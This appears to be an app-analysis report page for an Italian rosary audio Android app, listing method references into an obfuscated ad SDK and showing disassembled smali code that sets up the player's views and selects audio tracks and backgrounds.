Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:193 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:210 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:258 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:279 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:290 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.onTaskComplete:301 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:13 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:58 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:102 | Show source |
---|
Method: com.vxjxu.jkhfn1870.BrowserActivity.onCreate:122 | Show source |
---|
Method: ..:9 | Show source |
---|
Method: ..:17 | Show source |
---|
Method: ..:25 | Show source |
---|
Method: ..:33 | Show source |
---|
Method: ..:45 | Show source |
---|
Method: ..:75 | Show source |
---|
Method: ..:107 | Show source |
---|
Method: ..:31 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:17 | Show source |
---|
Method: ..:55 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.validateStatusCode:7 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:12 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:32 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:63 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:94 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:114 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.createAnimation:145 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:27 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:36 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:45 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:82 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:91 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$1.onPageFinished:100 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:6 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:14 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:22 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:30 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:38 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:46 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$MraidAdUtil.getGravity:54 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:25 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:60 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.setAdOrientation:79 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.<init>:76 | Show source |
---|
Method: ..:239 | Show source |
---|
Method: ..:250 | Show source |
---|
Method: ..:308 | Show source |
---|
Method: ..:769 | Show source |
---|
Method: ..:810 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$5.onTaskComplete:51 | Show source |
---|
Method: ..:24 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:55 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:61 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:67 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:73 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:79 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:91 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:98 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView.<init>:104 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:69 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:92 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:115 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:138 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showCachedAd:170 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: ..:31 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: ..:29 | Show source |
---|
Method: ..:49 | Show source |
---|
Method: ..:87 | Show source |
---|
Method: ..:39 | Show source |
---|
Method: ..:128 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$6.launchNewHttpTask:11 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$8.launchNewHttpTask:13 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd.sendEventData:19 | Show source |
---|
Method: ..:137 | Show source |
---|
Method: ..:8 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$2.onClick:10 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:156 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$1.launchNewHttpTask:62 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$3.launchNewHttpTask:19 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$5.launchNewHttpTask:64 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$7.launchNewHttpTask:19 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$2.launchNewHttpTask:19 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.launchNewHttpTask:136 | Show source |
---|
Method: ..:32 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SendIntegrationError.sendIntegartionError:29 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$4.launchNewHttpTask:19 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner.sendImpression:35 | Show source |
---|
Method: ..:18 | Show source |
---|
Method: ..:21 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.sendEventData:30 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$6.launchNewHttpTask:13 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$8.launchNewHttpTask:15 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd.sendEventData:21 | Show source |
---|
Method: ..:139 | Show source |
---|
Method: ..:10 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$2.onClick:12 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:158 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$1.launchNewHttpTask:64 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$3.launchNewHttpTask:21 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$5.launchNewHttpTask:66 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$7.launchNewHttpTask:21 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$2.launchNewHttpTask:21 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AdView$5.launchNewHttpTask:145 | Show source |
---|
Method: ..:34 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SendIntegrationError.sendIntegartionError:31 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay$4.launchNewHttpTask:21 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner.sendImpression:37 | Show source |
---|
Method: ..:20 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.sendEventData:32 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$2$1.run:18 | Show source |
---|
Method: ..:50 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageTask.doInBackground:38 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$2$1.run:7 | Show source |
---|
Method: ..:19 | Show source |
---|
Method: ..:8 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageTask.doInBackground:7 | Show source |
---|
Method: ..:17 | Show source |
---|
Method: ..:38 | Show source |
---|
Method: ..:30 | Show source |
---|
Method: ..:36 | Show source |
---|
Method: ..:46 | Show source |
---|
Method: ..:137 | Show source |
---|
Method: ..:17 | Show source |
---|
Method: ..:32 | Show source |
---|
Method: ..:55 | Show source |
---|
Method: ..:71 | Show source |
---|
Method: ..:32 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getDate:13 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getDate:39 | Show source |
---|
Method: ..:5 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getDate:17 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getDate:44 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getDate:68 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent$Recurrence.getDate:95 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.convertUTC:11 | Show source |
---|
Method: com.vxjxu.jkhfn1870.CalendarEvent.convertUTC:29 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:17 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.FormattaOggi:13 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:14 | Show source |
---|
Method: prsolutions.rosariofacileads.RosarioFacile.FormattaOggi:10 | Show source |
---|
Method: ..:34 | Show source |
---|
Method: ..:42 | Show source |
---|
Method: ..:142 | Show source |
---|
Method: ..:151 | Show source |
---|
Method: ..:160 | Show source |
---|
Method: ..:169 | Show source |
---|
Method: ..:24 | Show source |
---|
Method: ..:23 | Show source |
---|
Method: ..:39 | Show source |
---|
Method: ..:96 | Show source |
---|
Method: ..:110 | Show source |
---|
Method: ..:24 | Show source |
---|
Method: ..:40 | Show source |
---|
Method: ..:96 | Show source |
---|
Method: ..:106 | Show source |
---|
Method: ..:136 | Show source |
---|
Method: ..:145 | Show source |
---|
Method: ..:170 | Show source |
---|
Method: ..:748 | Show source |
---|
Method: ..:758 | Show source |
---|
Method: ..:451 | Show source |
---|
Method: ..:458 | Show source |
---|
Method: ..:465 | Show source |
---|
Method: ..:533 | Show source |
---|
Method: ..:537 | Show source |
---|
Method: ..:431 | Show source |
---|
Method: ..:440 | Show source |
---|
Method: ..:446 | Show source |
---|
Method: ..:452 | Show source |
---|
Method: ..:458 | Show source |
---|
Method: ..:463 | Show source |
---|
Method: ..:468 | Show source |
---|
Method: ..:474 | Show source |
---|
Method: ..:564 | Show source |
---|
Method: ..:570 | Show source |
---|
Method: ..:615 | Show source |
---|
Method: ..:652 | Show source |
---|
Method: ..:687 | Show source |
---|
Method: ..:854 | Show source |
---|
Method: ..:1042 | Show source |
---|
Method: ..:1048 | Show source |
---|
Method: ..:1128 | Show source |
---|
Method: ..:1134 | Show source |
---|
Method: ..:1553 | Show source |
---|
Method: ..:1558 | Show source |
---|
Method: ..:1564 | Show source |
---|
Method: ..:1573 | Show source |
---|
Method: ..:1582 | Show source |
---|
Method: ..:1591 | Show source |
---|
Method: ..:1600 | Show source |
---|
Method: ..:1609 | Show source |
---|
Method: ..:1614 | Show source |
---|
Method: ..:1619 | Show source |
---|
Method: ..:1628 | Show source |
---|
Method: ..:1637 | Show source |
---|
Method: ..:1643 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SDKIntializer.getDataFromManifest:64 | Show source |
---|
Method: ..:31 | Show source |
---|
Method: ..:91 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SendIntegrationError$1.run:160 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$6.run:84 | Show source |
---|
Method: ..:65 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner$2.run:84 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$3.run:85 | Show source |
---|
Method: com.vxjxu.jkhfn1870.SendIntegrationError$1.run:155 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$6.run:79 | Show source |
---|
Method: ..:60 | Show source |
---|
Method: com.vxjxu.jkhfn1870.NetworkThread.run:83 | Show source |
---|
Method: com.vxjxu.jkhfn1870.ImageBanner$2.run:79 | Show source |
---|
Method: com.vxjxu.jkhfn1870.OverlayAd$3.run:80 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$ExpandProperties.getProperties:38 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.parseRichMediaInterstitialJson:68 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$ExpandProperties.setProperties:64 | Show source |
---|
Method: com.vxjxu.jkhfn1870.FormatAds$ParseBannerAd.isParseBannerAd:87 | Show source |
---|
Method: com.vxjxu.jkhfn1870.AirPlay.showOverlayAd:80 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView.resize:403 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$JavaScriptInterface.setOrientationProperties:66 | Show source |
---|
Method: com.vxjxu.jkhfn1870.FormatAds$ParseMraidJson.<init>:106 | Show source |
---|
Method: com.vxjxu.jkhfn1870.MraidView$ExpandProperties.setProperties:59 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:67 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:75 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:83 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:95 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:103 | Show source |
---|
Method: prsolutions.rosariofacileads.Player$SampleView.onDraw:111 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.SettaggioIniziale:7 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.SettaggioIniziale:21 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.SettaggioIniziale:33 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.SettaggioIniziale:39 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:45 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:49 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:55 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:58 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:73 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:77 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:83 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:87 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:94 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:97 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:103 | Show source |
---|
Method: prsolutions.rosariofacileads.Player.FormattaOggi:106 | Show source |
---|
5 Executed Methods |
---|
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v3, 0x0 | |
2 | const v1, 0x7f030002 | |
4 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->setContentView(I)V |
|
5 | const/high16 v1, 0x7f070000 | |
7 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View; |
|
8 | move-result-object v1 | |
9 | check-cast v1, Landroid/widget/TextView; | |
10 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mtoday:Landroid/widget/TextView; | |
12 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mtoday:Landroid/widget/TextView; | |
13 | iget v2, p0, Lprsolutions/rosariofacileads/Player;->Mistero:I | |
15 | invoke-virtual {p0, v2}, Lprsolutions/rosariofacileads/Player;->FormattaOggi(I)Ljava/lang/String; | |
16 | move-result-object v2 | |
18 | invoke-virtual {v1, v2}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V | |
19 | const v1, 0x7f070007 | |
21 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View; |
|
22 | move-result-object v1 | |
23 | check-cast v1, Landroid/widget/Button; | |
24 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mPause:Landroid/widget/Button; | |
26 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mPause:Landroid/widget/Button; | |
28 | iget-object v2, p0, Lprsolutions/rosariofacileads/Player;->mPauseListener:Landroid/view/View$OnClickListener; | |
30 | invoke-virtual {v1, v2}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V | |
31 | const v1, 0x7f070008 | |
33 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View; |
|
34 | move-result-object v1 | |
35 | check-cast v1, Landroid/widget/ImageView; | |
36 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mRosario:Landroid/widget/ImageView; | |
37 | const v1, 0x7f070004 | |
39 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->findViewById(I)Landroid/view/View; |
|
40 | move-result-object v1 | |
41 | check-cast v1, Landroid/widget/LinearLayout; | |
42 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
44 | const-string v1, "MyPrefsFile" | |
46 | invoke-virtual {p0, v1, v3}, Lprsolutions/rosariofacileads/Player;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
47 | move-result-object v0 | |
49 | const-string v1, "sleep_mode" | |
51 | invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z |
|
52 | move-result v1 | |
53 | iput-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z | |
54 | iget-boolean v1, p0, Lprsolutions/rosariofacileads/Player;->sleep_mode:Z | |
56 | invoke-virtual {p0, v1}, Lprsolutions/rosariofacileads/Player;->ToggleSleep(Z)V | |
57 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "media" # Ljava/lang/Integer; | |
1 | .prologue | |
2 | const/16 v0, 0xa | |
3 | try_start_2: | |
4 | invoke-virtual {p1}, Ljava/lang/Integer;->intValue()I | |
5 | move-result v1 | |
6 | packed-switch v1, :pswitch_data_21c | |
7 | goto_9: | |
8 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
10 | invoke-virtual {v1}, Landroid/widget/LinearLayout;->invalidate()V | |
12 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
14 | invoke-virtual {v1}, Landroid/media/MediaPlayer;->start()V | |
16 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
18 | iget-object v2, p0, Lprsolutions/rosariofacileads/Player;->mPlayerListener:Landroid/media/MediaPlayer$OnCompletionListener; | |
20 | invoke-virtual {v1, v2}, Landroid/media/MediaPlayer;->setOnCompletionListener(Landroid/media/MediaPlayer$OnCompletionListener;)V | |
21 | goto_1a: return-void | |
22 | pswitch_1b: const/16 v0, 0x1e | |
23 | const v1, 0x7f04001b | |
25 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
26 | move-result-object v1 | |
27 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
29 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
30 | goto/16 :goto_9 | |
31 | catch_2a: move-exception v1 | |
32 | goto/16 :goto_1a | |
33 | pswitch_2c: const/high16 v1, 0x7f040000 | |
35 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
36 | move-result-object v1 | |
37 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
39 | invoke-direct {p0}, Lprsolutions/rosariofacileads/Player;->AggiungiPallino()V | |
40 | goto/16 :goto_9 | |
41 | pswitch_38: const v1, 0x7f040002 | |
43 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
44 | move-result-object v1 | |
45 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
46 | goto/16 :goto_9 | |
47 | pswitch_42: const v1, 0x7f040019 | |
49 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
50 | move-result-object v1 | |
51 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
52 | goto/16 :goto_9 | |
53 | pswitch_4c: const v1, 0x7f04001a | |
55 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
56 | move-result-object v1 | |
57 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
58 | goto/16 :goto_9 | |
59 | pswitch_56: const v1, 0x7f040018 | |
61 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
62 | move-result-object v1 | |
63 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
64 | goto/16 :goto_9 | |
65 | pswitch_60: const v1, 0x7f04001c | |
67 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
68 | move-result-object v1 | |
69 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
70 | goto/16 :goto_9 | |
71 | pswitch_6a: const v1, 0x7f040001 | |
73 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
74 | move-result-object v1 | |
75 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
76 | goto/16 :goto_9 | |
77 | pswitch_74: const v1, 0x7f040017 | |
79 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
80 | move-result-object v1 | |
81 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
82 | goto/16 :goto_9 | |
83 | pswitch_7e: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
84 | sparse-switch v1, :sswitch_data_23c | |
85 | goto/16 :goto_9 | |
86 | sswitch_84: const v1, 0x7f040012 | |
88 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
89 | move-result-object v1 | |
90 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
92 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
93 | const v2, 0x7f020010 | |
95 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
96 | goto/16 :goto_9 | |
97 | sswitch_97: const v1, 0x7f040008 | |
99 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
100 | move-result-object v1 | |
101 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
103 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
104 | const v2, 0x7f020005 | |
106 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
107 | goto/16 :goto_9 | |
108 | sswitch_aa: const v1, 0x7f040003 | |
110 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
111 | move-result-object v1 | |
112 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
114 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
115 | const/high16 v2, 0x7f020000 | |
117 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
118 | goto/16 :goto_9 | |
119 | sswitch_bc: const v1, 0x7f04000d | |
121 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
122 | move-result-object v1 | |
123 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
125 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
126 | const v2, 0x7f02000a | |
128 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
129 | goto/16 :goto_9 | |
130 | pswitch_cf: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
131 | sparse-switch v1, :sswitch_data_24e | |
132 | goto/16 :goto_9 | |
133 | sswitch_d6: const v1, 0x7f040013 | |
135 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
136 | move-result-object v1 | |
137 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
139 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
140 | const v2, 0x7f020011 | |
142 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
143 | goto/16 :goto_9 | |
144 | sswitch_e9: const v1, 0x7f040009 | |
146 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
147 | move-result-object v1 | |
148 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
150 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
151 | const v2, 0x7f020006 | |
153 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
154 | goto/16 :goto_9 | |
155 | sswitch_fc: const v1, 0x7f040004 | |
157 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
158 | move-result-object v1 | |
159 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
161 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
162 | const v2, 0x7f020001 | |
164 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
165 | goto/16 :goto_9 | |
166 | sswitch_10f: const v1, 0x7f04000e | |
168 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
169 | move-result-object v1 | |
170 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
172 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
173 | const v2, 0x7f02000b | |
175 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
176 | goto/16 :goto_9 | |
177 | pswitch_122: iget v1, p0, Lprsolutions/rosariofacileads/Player;->giornata:I | |
178 | sparse-switch v1, :sswitch_data_260 | |
179 | goto/16 :goto_9 | |
180 | sswitch_129: const v1, 0x7f040014 | |
182 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
183 | move-result-object v1 | |
184 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
186 | iget-object v1, p0, Lprsolutions/rosariofacileads/Player;->mSfondo:Landroid/widget/LinearLayout; | |
187 | const v2, 0x7f020012 | |
189 | invoke-virtual {v1, v2}, Landroid/widget/LinearLayout;->setBackgroundResource(I)V |
|
190 | goto/16 :goto_9 | |
191 | sswitch_13c: const v1, 0x7f04000a | |
193 | invoke-static {p0, v1}, Landroid/media/MediaPlayer;->create(Landroid/content/Context;I)Landroid/media/MediaPlayer; |
|
194 | move-result-object v1 | |
195 | iput-object v1, p0, Lprsolutions/rosariofacileads/Player;->mMediaPlayer:Landroid/media/MediaPlayer; | |
